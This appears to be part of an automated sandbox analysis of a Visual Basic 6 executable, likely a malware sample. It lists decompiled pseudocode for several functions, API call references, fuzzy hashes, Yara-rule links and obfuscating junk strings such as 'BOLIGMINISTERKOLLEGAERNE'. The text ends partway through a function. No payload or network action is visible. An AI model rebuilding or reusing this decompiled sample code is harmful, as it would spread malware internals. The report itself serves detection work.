Instruction ID: 4349db504b424cb7df8fe7b4af2b36880e471426473ca1993f32208a76d05054
Opcode Fuzzy Hash: 04f7a4f6918f75618e3406eb696efcd294eeae8f70936f8b6d83cf77d6339239
Instruction Fuzzy Hash: 55510771900608EFCB00EF91D895BDDBBB5BF18308F24446AF501BB2A1CB796985DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00414798, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00414798(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long* _v16;
				void* _v28;
				short _v32;
				long long _v40;
				intOrPtr _v48;
				char _v56;
				intOrPtr _v64;
				char _v72;
				intOrPtr _v80;
				char _v88;
				intOrPtr _v96;
				char _v104;
				intOrPtr _v112;
				char _v120;
				intOrPtr _v128;
				char _v136;
				intOrPtr _v144;
				char _v152;
				char* _v160;
				intOrPtr _v168;
				intOrPtr _v176;
				char _v184;
				short _v268;
				short _t81;
				char* _t84;
				void* _t109;
				void* _t111;
				long long* _t112;
				long long _t117;

				_t112 = _t111 - 0xc;
				 *[fs:0x0] = _t112;
				L004014B0();
				_v16 = _t112;
				_v12 = 0x401208;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014b6, _t109);
				_v80 = 0x80020004;
				_v88 = 0xa;
				_v64 = 0x80020004;
				_v72 = 0xa;
				_v48 = 0x80020004;
				_v56 = 0xa;
				_push( &_v88);
				_push( &_v72);
				_push( &_v56);
				_t117 =  *0x401200;
				 *_t112 = _t117;
				asm("fld1");
				 *_t112 = _t117;
				asm("fld1");
				 *_t112 = _t117;
				L00401606();
				_v40 = _t117;
				_push( &_v88);
				_push( &_v72);
				_push( &_v56);
				_push(3);
				L00401666();
				_v160 = 0x411424;
				_v168 = 8;
				L004015FA();
				_push(0);
				_push(3);
				_push( &_v56);
				_push( &_v72);
				L00401600();
				_v176 = 0x41142c;
				_v184 = 0x8008;
				_push( &_v72);
				_t81 =  &_v184;
				_push(_t81);
				L00401678();
				_v268 = _t81;
				_push( &_v72);
				_push( &_v56);
				_push(2);
				L00401666();
				_t84 = _v268;
				if(_t84 != 0) {
					_v144 = 0x80020004;
					_v152 = 0xa;
					_v128 = 0x80020004;
					_v136 = 0xa;
					_v112 = 0x80020004;
					_v120 = 0xa;
					_v96 = 0x80020004;
					_v104 = 0xa;
					_v80 = 0x80020004;
					_v88 = 0xa;
					_v64 = 0x80020004;
					_v72 = 0xa;
					_v160 = L"BOLIGMINISTERKOLLEGAERNE";
					_v168 = 8;
					L004015FA();
					_push( &_v152);
					_push( &_v136);
					_push( &_v120);
					_push( &_v104);
					_push( &_v88);
					_push( &_v72);
					_push( &_v56);
					L004015F4();
					L00401648();
					_push( &_v152);
					_push( &_v136);
					_push( &_v120);
					_push( &_v104);
					_push( &_v88);
					_push( &_v72);
					_t84 =  &_v56;
					_push(_t84);
					_push(7);
					L00401666();
				}
				_v32 = 0x6890;
				asm("wait");
				_push(0x4149e6);
				L0040165A();
				return _t84;
			}

0x0041479b
0x004147aa
0x004147b6
0x004147be
0x004147c1
0x004147c8
0x004147d7
0x004147da
0x004147e1
0x004147e8
0x004147ef
0x004147f6
0x004147fd
0x00414807
0x0041480b
0x0041480f
0x00414810
0x00414818
0x0041481b
0x0041481f
0x00414822
0x00414826
0x00414829
0x0041482e
0x00414834
0x00414838
0x0041483c
0x0041483d
0x0041483f
0x00414847
0x00414851
0x00414864
0x00414869
0x0041486b
0x00414870
0x00414874
0x00414875
0x0041487a
0x00414884
0x00414891
0x00414892
0x00414898
0x00414899
0x0041489e
0x004148a8
0x004148ac
0x004148ad
0x004148af
0x004148b7
0x004148c0
0x004148c6
0x004148d0
0x004148da
0x004148e1
0x004148eb
0x004148f2
0x004148f9
0x00414900
0x00414907
0x0041490e
0x00414915
0x0041491c
0x00414923
0x0041492d
0x00414940
0x0041494b
0x00414952
0x00414956
0x0041495a
0x0041495e
0x00414962
0x00414966
0x00414967
0x00414971
0x0041497c
0x00414983
0x00414987
0x0041498b
0x0041498f
0x00414993
0x00414994
0x00414997
0x00414998
0x0041499a
0x0041499f
0x004149a2
0x004149a8
0x004149a9
0x004149e0
0x004149e5

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 004147B6
#680.MSVBVM60(?,?,?,?,?,?,0000000A,0000000A,0000000A), ref: 00414829
__vbaFreeVarList.MSVBVM60(00000003,0000000A,0000000A,0000000A,?,?,?,?,?,?,0000000A,0000000A,0000000A), ref: 0041483F
__vbaVarDup.MSVBVM60 ref: 00414864
#717.MSVBVM60(?,?,00000003,00000000), ref: 00414875
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,00000003,00000000), ref: 00414899
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008008,?,?,?,00000003,00000000), ref: 004148AF
__vbaVarDup.MSVBVM60 ref: 00414940
#596.MSVBVM60(?,0000000A,0000000A,0000000A,0000000A,0000000A,0000000A), ref: 00414967
__vbaStrMove.MSVBVM60(?,0000000A,0000000A,0000000A,0000000A,0000000A,0000000A), ref: 00414971
__vbaFreeVarList.MSVBVM60(00000007,?,0000000A,0000000A,0000000A,0000000A,0000000A,0000000A,?,0000000A,0000000A,0000000A,0000000A,0000000A,0000000A), ref: 0041499A
__vbaFreeStr.MSVBVM60(004149E6), ref: 004149E0

Strings

BOLIGMINISTERKOLLEGAERNE, xrefs: 00414923

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$List$#596#680#717ChkstkMove
String ID: BOLIGMINISTERKOLLEGAERNE
API String ID: 643183441-2320582082
Opcode ID: c5efd6f6ccca69753451f683e812208db234b7d38f953c108ba211887498be65
Instruction ID: c476b6aa3f93e3ceb72dcb576948b47babde33900737d4ccb2e590c161cef4ea
Opcode Fuzzy Hash: c5efd6f6ccca69753451f683e812208db234b7d38f953c108ba211887498be65
Instruction Fuzzy Hash: C451F7B290020CABDB11DFD1DA85BDEB7BCEF04304F10816AE245AA151DB796B49CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00417622, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00417622(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				char _v28;
				char _v44;
				char* _v52;
				intOrPtr _v60;
				char _v64;
				void* _v68;
				signed int _v72;
				intOrPtr* _v80;
				signed int _v84;
				intOrPtr* _v88;
				signed int _v92;
				char* _t54;
				signed int _t55;
				char* _t59;
				signed int _t62;
				char* _t66;
				intOrPtr _t90;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t90;
				_push(0x48);
				L004014B0();
				_v12 = _t90;
				_v8 = 0x4013b0;
				_v52 = L"4-4-4";
				_v60 = 8;
				L004015FA();
				_t54 =  &_v44;
				_push(_t54);
				L00401576();
				_v68 =  ~(0 | _t54 != 0x0000ffff);
				L00401636();
				_t55 = _v68;
				if(_t55 == 0) {
					if( *0x419010 != 0) {
						_v80 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v80 = 0x419010;
					}
					_t59 =  &_v28;
					L0040169C();
					_v68 = _t59;
					_t62 =  *((intOrPtr*)( *_v68 + 0x180))(_v68, _t59,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x308))( *_v80));
					asm("fclex");
					_v72 = _t62;
					if(_v72 >= 0) {
						_v84 = _v84 & 0x00000000;
					} else {
						_push(0x180);
						_push(0x4113bc);
						_push(_v68);
						_push(_v72);
						L00401690();
						_v84 = _t62;
					}
					L0040168A();
					if( *0x419010 != 0) {
						_v88 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v88 = 0x419010;
					}
					_t66 =  &_v28;
					L0040169C();
					_v68 = _t66;
					_t55 =  *((intOrPtr*)( *_v68 + 0x78))(_v68,  &_v64, _t66,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x394))( *_v88));
					asm("fclex");
					_v72 = _t55;
					if(_v72 >= 0) {
						_v92 = _v92 & 0x00000000;
					} else {
						_push(0x78);
						_push(0x4115b8);
						_push(_v68);
						_push(_v72);
						L00401690();
						_v92 = _t55;
					}
					_v24 = _v64;
					L0040168A();
				}
				asm("wait");
				_push(0x4177c1);
				return _t55;
			}

0x00417627
0x00417632
0x00417633
0x0041763a
0x0041763d
0x00417645
0x00417648
0x0041764f
0x00417656
0x00417663
0x00417668
0x0041766b
0x0041766c
0x0041767c
0x00417683
0x00417688
0x0041768e
0x0041769c
0x004176b6
0x0041769e
0x0041769e
0x004176a3
0x004176a8
0x004176ad
0x004176ad
0x004176d1
0x004176d5
0x004176da
0x004176e5
0x004176eb
0x004176ed
0x004176f4
0x00417710
0x004176f6
0x004176f6
0x004176fb
0x00417700
0x00417703
0x00417706
0x0041770b
0x0041770b
0x00417717
0x00417723
0x0041773d
0x00417725
0x00417725
0x0041772a
0x0041772f
0x00417734
0x00417734
0x00417758
0x0041775c
0x00417761
0x00417770
0x00417773
0x00417775
0x0041777c
0x00417795
0x0041777e
0x0041777e
0x00417780
0x00417785
0x00417788
0x0041778b
0x00417790
0x00417790
0x0041779c
0x004177a2
0x004177a2
0x004177a7
0x004177a8
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 0041763D
__vbaVarDup.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417663
#557.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 0041766C
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417683
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004176A8
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?), ref: 004176D5
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000180,?,?,?,?,?), ref: 00417706
__vbaFreeObj.MSVBVM60(?,?,?,?,?), ref: 00417717
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,?), ref: 0041772F
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?), ref: 0041775C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004115B8,00000078,?,?,?,?,?,?,?), ref: 0041778B
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?), ref: 004177A2

Strings

4-4-4, xrefs: 0041764F

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresultNew2$#557Chkstk
String ID: 4-4-4
API String ID: 2286932286-3794238894
Opcode ID: 5f3fe008379ca2a5cc3254554c59b37554a7a12d910a0440e5f4eb3f9830966e
Instruction ID: d6a001d8fba8582cc9cc2d864c1aa557bb0ae2084c7835cd3cc2e54716ab47c1
Opcode Fuzzy Hash: 5f3fe008379ca2a5cc3254554c59b37554a7a12d910a0440e5f4eb3f9830966e
Instruction Fuzzy Hash: 5341FA74900209EFCB10DFE0C855FEDBBB8BF08704F14452AE512BB2A1DB796986DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00417F78, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00417F78(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr* _v12;
				void* _v24;
				char _v28;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				intOrPtr _v68;
				intOrPtr _v76;
				void* _v80;
				signed int _v84;
				intOrPtr* _v92;
				signed int _v96;
				signed int _t35;
				signed int _t39;
				char* _t43;
				intOrPtr _t55;
				intOrPtr* _t68;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t68;
				_t35 = 0x4c;
				L004014B0();
				_v12 = _t68;
				_v8 = 0x401420;
				L00401642();
				L00401648();
				_push(_t35);
				_push(L"undervognsbehandlings");
				L0040164E();
				asm("sbb eax, eax");
				_v80 =  ~( ~_t35 + 1);
				L0040165A();
				_t39 = _v80;
				if(_t39 == 0) {
					if( *0x419010 != 0) {
						_v92 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v92 = 0x419010;
					}
					_t55 =  *((intOrPtr*)( *_v92));
					_t43 =  &_v28;
					L0040169C();
					_v80 = _t43;
					_v68 = 0x80020004;
					_v76 = 0xa;
					_v52 = 0x80020004;
					_v60 = 0xa;
					_v36 = 0x80020004;
					_v44 = 0xa;
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *_t68 =  *0x401418;
					_t39 =  *((intOrPtr*)( *_v80 + 0x1cc))(_v80, _t55, 0x10, 0x10, 0x10, _t43,  *((intOrPtr*)(_t55 + 0x374))( *_v92));
					asm("fclex");
					_v84 = _t39;
					if(_v84 >= 0) {
						_v96 = _v96 & 0x00000000;
					} else {
						_push(0x1cc);
						_push(0x4113ac);
						_push(_v80);
						_push(_v84);
						L00401690();
						_v96 = _t39;
					}
					L0040168A();
				}
				asm("wait");
				_push(0x4180e7);
				return _t39;
			}

0x00417f7d
0x00417f88
0x00417f89
0x00417f92
0x00417f93
0x00417f9b
0x00417f9e
0x00417fa5
0x00417faf
0x00417fb4
0x00417fb5
0x00417fba
0x00417fc1
0x00417fc6
0x00417fcd
0x00417fd2
0x00417fd8
0x00417fe6
0x00418000
0x00417fe8
0x00417fe8
0x00417fed
0x00417ff2
0x00417ff7
0x00417ff7
0x00418011
0x0041801b
0x0041801f
0x00418024
0x00418027
0x0041802e
0x00418035
0x0041803c
0x00418043
0x0041804a
0x00418054
0x0041805e
0x0041805f
0x00418060
0x00418061
0x00418065
0x0041806f
0x00418070
0x00418071
0x00418072
0x00418076
0x00418080
0x00418081
0x00418082
0x00418083
0x0041808b
0x00418096
0x0041809c
0x0041809e
0x004180a5
0x004180c1
0x004180a7
0x004180a7
0x004180ac
0x004180b1
0x004180b4
0x004180b7
0x004180bc
0x004180bc
0x004180c8
0x004180c8
0x004180cd
0x004180ce
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00417F93
#669.MSVBVM60(?,?,?,?,004014B6), ref: 00417FA5
__vbaStrMove.MSVBVM60(?,?,?,?,004014B6), ref: 00417FAF
__vbaStrCmp.MSVBVM60(undervognsbehandlings,00000000,?,?,?,?,004014B6), ref: 00417FBA
__vbaFreeStr.MSVBVM60(undervognsbehandlings,00000000,?,?,?,?,004014B6), ref: 00417FCD
__vbaNew2.MSVBVM60(0041192C,00419010,undervognsbehandlings,00000000,?,?,?,?,004014B6), ref: 00417FF2
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,undervognsbehandlings), ref: 0041801F
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,undervognsbehandlings), ref: 00418054
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,undervognsbehandlings), ref: 00418065
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,undervognsbehandlings), ref: 00418076
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,000001CC,?,?,00000000), ref: 004180B7
__vbaFreeObj.MSVBVM60(?,?,00000000), ref: 004180C8

Strings

undervognsbehandlings, xrefs: 00417FB5

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$Free$#669CheckHresultMoveNew2
String ID: undervognsbehandlings
API String ID: 3068271998-11411429
Opcode ID: 3a0e8a2a72916d0c01fe8c6d87020db48c5be12fdddf0ce99c7807f428c9e73c
Instruction ID: 1b5018e363e91a27c37f58a70a9dd7d41671905290a5914ed803b685ea1e57a7
Opcode Fuzzy Hash: 3a0e8a2a72916d0c01fe8c6d87020db48c5be12fdddf0ce99c7807f428c9e73c
Instruction Fuzzy Hash: 88414B70D406089BDB01DFE1C846BDEBBB9AF09708F10452AF501BB2A1CBBE5885CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00414A0F, Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00414A0F(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v52;
				void* _v72;
				signed int _v76;
				intOrPtr* _v84;
				signed int _v88;
				char* _t37;
				char* _t42;
				signed int _t45;
				intOrPtr _t66;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t66;
				_push(0x44);
				L004014B0();
				_v12 = _t66;
				_v8 = 0x401218;
				_v52 = 1;
				_t37 =  &_v52;
				_push(_t37);
				L004015EE();
				_v72 =  ~(0 | _t37 != 0x0000ffff);
				L00401636();
				if(_v72 != 0) {
					_push(0);
					_push(L"Klint");
					_push( &_v52);
					L004015E8();
					_push(0x10);
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v24);
					L00401660();
					L00401636();
				}
				if( *0x419010 != 0) {
					_v84 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v84 = 0x419010;
				}
				_t42 =  &_v36;
				L0040169C();
				_v72 = _t42;
				_t45 =  *((intOrPtr*)( *_v72 + 0x1ac))(_v72, _t42,  *((intOrPtr*)( *((intOrPtr*)( *_v84)) + 0x37c))( *_v84));
				asm("fclex");
				_v76 = _t45;
				if(_v76 >= 0) {
					_v88 = _v88 & 0x00000000;
				} else {
					_push(0x1ac);
					_push(0x411410);
					_push(_v72);
					_push(_v76);
					L00401690();
					_v88 = _t45;
				}
				L0040168A();
				_v32 = 0x44790400;
				_v28 = 0x5afc;
				_push(0x414b54);
				L0040168A();
				return _t45;
			}

0x00414a14
0x00414a1f
0x00414a20
0x00414a27
0x00414a2a
0x00414a32
0x00414a35
0x00414a3c
0x00414a43
0x00414a46
0x00414a47
0x00414a57
0x00414a5e
0x00414a69
0x00414a6b
0x00414a6d
0x00414a75
0x00414a76
0x00414a7b
0x00414a7e
0x00414a88
0x00414a89
0x00414a8a
0x00414a8b
0x00414a8c
0x00414a8e
0x00414a91
0x00414a99
0x00414a99
0x00414aa5
0x00414abf
0x00414aa7
0x00414aa7
0x00414aac
0x00414ab1
0x00414ab6
0x00414ab6
0x00414ada
0x00414ade
0x00414ae3
0x00414aee
0x00414af4
0x00414af6
0x00414afd
0x00414b19
0x00414aff
0x00414aff
0x00414b04
0x00414b09
0x00414b0c
0x00414b0f
0x00414b14
0x00414b14
0x00414b20
0x00414b25
0x00414b2c
0x00414b33
0x00414b4e
0x00414b53

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00414A2A
#560.MSVBVM60(00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A47
__vbaFreeVar.MSVBVM60(00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A5E
#716.MSVBVM60(00000001,Klint,00000000,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A76
__vbaChkstk.MSVBVM60(00000001,Klint,00000000,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A7E
__vbaLateIdSt.MSVBVM60(?,00000000,00000001,Klint,00000000,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A91
__vbaFreeVar.MSVBVM60(?,00000000,00000001,Klint,00000000,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414A99
__vbaNew2.MSVBVM60(0041192C,00419010,00000001,?,?,?,?,?,?,?,?,?,004014B6), ref: 00414AB1
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,00000001), ref: 00414ADE
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,000001AC,?,?,?,?,?,?,?,00000001), ref: 00414B0F
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,00000001), ref: 00414B20
__vbaFreeObj.MSVBVM60(00414B54,?,?,?,?,?,?,?,00000001), ref: 00414B4E

Strings

Klint, xrefs: 00414A6D

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Chkstk$#560#716CheckHresultLateNew2
String ID: Klint
API String ID: 3748626564-1944180061
Opcode ID: db26ee28ff082af34f683f1dfd782030f899b422cec4709bd6a0a10575216a64
Instruction ID: 960c185106eaa88ac158f89539066fd895db146f1856fc9c3b8b2a21ffb498af
Opcode Fuzzy Hash: db26ee28ff082af34f683f1dfd782030f899b422cec4709bd6a0a10575216a64
Instruction Fuzzy Hash: A7311A70A50218ABCB10EFD1CD56BEEB7B8BF09704F24082AF101BB1A1D7BD6945CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00415AF6, Relevance: 21.1, APIs: 14, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00415AF6(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				signed int _v44;
				intOrPtr _v52;
				intOrPtr* _v56;
				signed int _v60;
				intOrPtr* _v64;
				signed int _v68;
				signed int _v76;
				intOrPtr* _v80;
				signed int _v84;
				signed int _v88;
				intOrPtr* _v92;
				signed int _v96;
				signed int _t71;
				signed int _t76;
				char* _t81;
				signed int _t85;
				intOrPtr _t105;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t105;
				_push(0x4c);
				L004014B0();
				_v12 = _t105;
				_v8 = 0x4012e0;
				L00401684();
				if( *0x41931c != 0) {
					_v80 = 0x41931c;
				} else {
					_push(0x41931c);
					_push(0x41137c);
					L00401696();
					_v80 = 0x41931c;
				}
				_v56 =  *_v80;
				_t71 =  *((intOrPtr*)( *_v56 + 0x14))(_v56,  &_v36);
				asm("fclex");
				_v60 = _t71;
				if(_v60 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x41136c);
					_push(_v56);
					_push(_v60);
					L00401690();
					_v84 = _t71;
				}
				_v64 = _v36;
				_t76 =  *((intOrPtr*)( *_v64 + 0x60))(_v64,  &_v32);
				asm("fclex");
				_v68 = _t76;
				if(_v68 >= 0) {
					_v88 = _v88 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x4114f4);
					_push(_v64);
					_push(_v68);
					L00401690();
					_v88 = _t76;
				}
				_v76 = _v32;
				_v32 = _v32 & 0x00000000;
				L00401648();
				L0040168A();
				if( *0x419010 != 0) {
					_v92 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v92 = 0x419010;
				}
				_t81 =  &_v36;
				L0040169C();
				_v56 = _t81;
				_v44 = _v44 & 0x00000000;
				_v52 = 2;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t85 =  *((intOrPtr*)( *_v56 + 0x1b8))(_v56, 0x10, _t81,  *((intOrPtr*)( *((intOrPtr*)( *_v92)) + 0x318))( *_v92));
				asm("fclex");
				_v60 = _t85;
				if(_v60 >= 0) {
					_v96 = _v96 & 0x00000000;
				} else {
					_push(0x1b8);
					_push(0x411410);
					_push(_v56);
					_push(_v60);
					L00401690();
					_v96 = _t85;
				}
				L0040168A();
				_push(0x415cb7);
				L0040165A();
				L0040165A();
				return _t85;
			}

0x00415afb
0x00415b06
0x00415b07
0x00415b0e
0x00415b11
0x00415b19
0x00415b1c
0x00415b29
0x00415b35
0x00415b4f
0x00415b37
0x00415b37
0x00415b3c
0x00415b41
0x00415b46
0x00415b46
0x00415b5b
0x00415b6a
0x00415b6d
0x00415b6f
0x00415b76
0x00415b8f
0x00415b78
0x00415b78
0x00415b7a
0x00415b7f
0x00415b82
0x00415b85
0x00415b8a
0x00415b8a
0x00415b96
0x00415ba5
0x00415ba8
0x00415baa
0x00415bb1
0x00415bca
0x00415bb3
0x00415bb3
0x00415bb5
0x00415bba
0x00415bbd
0x00415bc0
0x00415bc5
0x00415bc5
0x00415bd1
0x00415bd4
0x00415bde
0x00415be6
0x00415bf2
0x00415c0c
0x00415bf4
0x00415bf4
0x00415bf9
0x00415bfe
0x00415c03
0x00415c03
0x00415c27
0x00415c2b
0x00415c30
0x00415c33
0x00415c37
0x00415c41
0x00415c4b
0x00415c4c
0x00415c4d
0x00415c4e
0x00415c57
0x00415c5d
0x00415c5f
0x00415c66
0x00415c82
0x00415c68
0x00415c68
0x00415c6d
0x00415c72
0x00415c75
0x00415c78
0x00415c7d
0x00415c7d
0x00415c89
0x00415c8e
0x00415ca9
0x00415cb1
0x00415cb6

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00415B11
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00415B29
__vbaNew2.MSVBVM60(0041137C,0041931C,?,?,?,?,004014B6), ref: 00415B41
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014), ref: 00415B85
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,00000060), ref: 00415BC0
__vbaStrMove.MSVBVM60 ref: 00415BDE
__vbaFreeObj.MSVBVM60 ref: 00415BE6
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00415BFE
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415C2B
__vbaChkstk.MSVBVM60(?,00000000), ref: 00415C41
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,000001B8), ref: 00415C78
__vbaFreeObj.MSVBVM60 ref: 00415C89
__vbaFreeStr.MSVBVM60(00415CB7), ref: 00415CA9

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$ChkstkNew2$CopyMove
String ID:
API String ID: 1989687073-0
Opcode ID: 6e648103ec7f30a2917e4a4c7fc09cd3cf04d301c7b9760e13daf47f2e6b18b8
Instruction ID: 5871aa4421f8f4a0d31638c80879a62b598591c589d3ee32bf71ced9037a011d
Opcode Fuzzy Hash: 6e648103ec7f30a2917e4a4c7fc09cd3cf04d301c7b9760e13daf47f2e6b18b8
Instruction Fuzzy Hash: 3251B170D00608EFDB00EFD5D885BDEBBB5AF08709F10442AF511BB2A1D7796985DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00417D9A, Relevance: 21.1, APIs: 14, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00417D9A(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v28;
				char _v32;
				intOrPtr _v40;
				intOrPtr _v48;
				intOrPtr* _v52;
				signed int _v56;
				intOrPtr* _v68;
				signed int _v72;
				intOrPtr* _v76;
				signed int _v80;
				char* _t58;
				signed int _t62;
				char* _t66;
				signed int _t70;
				void* _t86;
				void* _t88;
				intOrPtr _t89;
				signed int _t93;

				_t89 = _t88 - 0xc;
				 *[fs:0x0] = _t89;
				L004014B0();
				_v16 = _t89;
				_v12 = 0x401408;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x38,  *[fs:0x0], 0x4014b6, _t86);
				if( *0x419010 != 0) {
					_v68 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v68 = 0x419010;
				}
				_t58 =  &_v32;
				L0040169C();
				_v52 = _t58;
				_v40 = 0x80020004;
				_v48 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t62 =  *((intOrPtr*)( *_v52 + 0x1fc))(_v52, 0x10, _t58,  *((intOrPtr*)( *((intOrPtr*)( *_v68)) + 0x32c))( *_v68));
				asm("fclex");
